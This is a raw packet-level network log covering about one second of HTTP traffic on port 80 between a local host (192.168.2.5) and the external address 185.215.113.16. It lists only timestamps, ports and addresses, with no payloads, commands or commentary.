Oct 29, 2024 05:03:33.817830086 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.817874908 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.817883968 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.817919970 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.817924023 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.817975998 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.818010092 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.818026066 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.818068027 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.818103075 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.818135977 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.818140030 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.818172932 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.818180084 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.818389893 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.818418980 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.818433046 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.832206964 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.854408979 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854470015 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.854512930 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854567051 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854599953 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854612112 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.854651928 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854685068 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854718924 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854727983 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.854753017 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854759932 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.854789019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854821920 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854866982 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.854875088 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854906082 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854939938 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.854954958 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.854996920 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.855299950 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.855350018 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.855384111 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.855417967 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.855422974 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.855637074 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.855670929 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.855683088 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.855711937 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.855724096 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.855760098 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.855793953 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.855801105 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.855830908 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.855874062 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.856205940 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.856261015 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.856297970 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.856343985 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.888120890 CET	80	50054	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.889486074 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.889539003 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.889569044 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.889588118 CET	50054	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.889606953 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.889606953 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.889626026 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.889651060 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.889683008 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.889694929 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.889738083 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.889770985 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.889777899 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.889806032 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.890407085 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.927589893 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.936671972 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.936789036 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.936836958 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.936871052 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.936889887 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.936922073 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.936922073 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.936979055 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.937026024 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.937028885 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.937082052 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.937114954 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.937129021 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.937149048 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.937181950 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.937215090 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.937230110 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.937248945 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.937258005 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.937664986 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.937716007 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.954238892 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.973347902 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973422050 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973453999 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973469973 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.973486900 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973536968 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973545074 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.973578930 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973623991 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.973630905 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973681927 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973716021 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973731995 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.973751068 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973783970 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973798037 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.973818064 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973850965 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973885059 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.973896027 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.973923922 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.974422932 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.974473953 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.974508047 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.974541903 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.974555016 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.974577904 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.974606991 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.974607944 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.974659920 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.974922895 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.974972963 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.975011110 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.975019932 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.975044012 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.975078106 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.975090027 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.005331993 CET	50054	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.005763054 CET	50055	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.008869886 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.008925915 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.008935928 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.008976936 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.009010077 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.009043932 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.009053946 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.009078979 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.009114027 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.009124994 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.009162903 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.009205103 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.011207104 CET	80	50055	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.011260986 CET	80	50054	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.011334896 CET	50054	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.011351109 CET	50055	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.011509895 CET	50055	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.016782045 CET	80	50055	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.024741888 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.055561066 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.055828094 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.055861950 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.055895090 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.055896044 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.055931091 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.055932045 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.056011915 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.056057930 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.056067944 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.056102991 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.056134939 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.056147099 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.056169033 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.056175947 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.056202888 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.056238890 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.056248903 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.056358099 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.056405067 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.056407928 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.056442022 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.056473970 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.056485891 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.056509972 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.058635950 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.092329025 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.092569113 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.092668056 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.092669964 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.092725992 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.092772007 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.092778921 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.092817068 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.092849016 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.092881918 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.092895985 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.092916965 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.092951059 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.092962980 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.092984915 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.092995882 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.093020916 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093060017 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093087912 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093106985 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.093127966 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.093221903 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093255997 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093302011 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.093308926 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093343019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093378067 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093385935 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.093656063 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093708038 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093741894 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093750954 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.093794107 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093827963 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093839884 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.093863010 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093863010 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.093897104 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093934059 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.093943119 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.127407074 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.127439022 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.127459049 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.127507925 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.127542973 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.127556086 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.127574921 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.127610922 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.127640963 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.127643108 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.127677917 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.127691984 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.131938934 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.174452066 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.174506903 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.174540997 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.174566031 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.174572945 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.174598932 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.174607992 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.174721956 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.174772024 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.174772978 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.174808025 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.174841881 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.174849987 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.174875975 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.174885035 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.175151110 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.175184011 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.175199032 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.175219059 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.175384998 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.175430059 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.175436974 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.175472021 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.175503969 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.175527096 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.175538063 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.175560951 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.203392982 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.212421894 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.212480068 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.212515116 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.212533951 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.212564945 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.212568045 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.212601900 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.212635040 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.212650061 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.212687016 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.212721109 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.212764025 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.213005066 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213140965 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213192940 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.213193893 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213237047 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.213251114 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213304043 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213336945 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213346004 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.213371038 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213403940 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213418961 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.213454962 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213489056 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213521004 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213534117 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.213555098 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213563919 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.213588953 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213622093 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213628054 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.213654995 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213687897 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213720083 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213731050 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.213756084 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.213797092 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.246541977 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.246597052 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.246648073 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.246679068 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.246681929 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.246704102 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.246735096 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.246767998 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.246779919 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.246803045 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.246838093 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.246882915 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.293495893 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.293607950 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.293677092 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.293711901 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.293745995 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.293756008 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.293781042 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.293831110 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.293864012 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.293879032 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.293898106 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.293901920 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.294244051 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.294277906 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.294289112 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.294312954 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.294348001 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.294361115 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.294382095 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.294414997 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.294428110 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.294454098 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.294501066 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.294622898 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.294655085 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.294689894 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.294723034 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.294737101 CET	50048	80	192.168.2.5	185.215.113.16
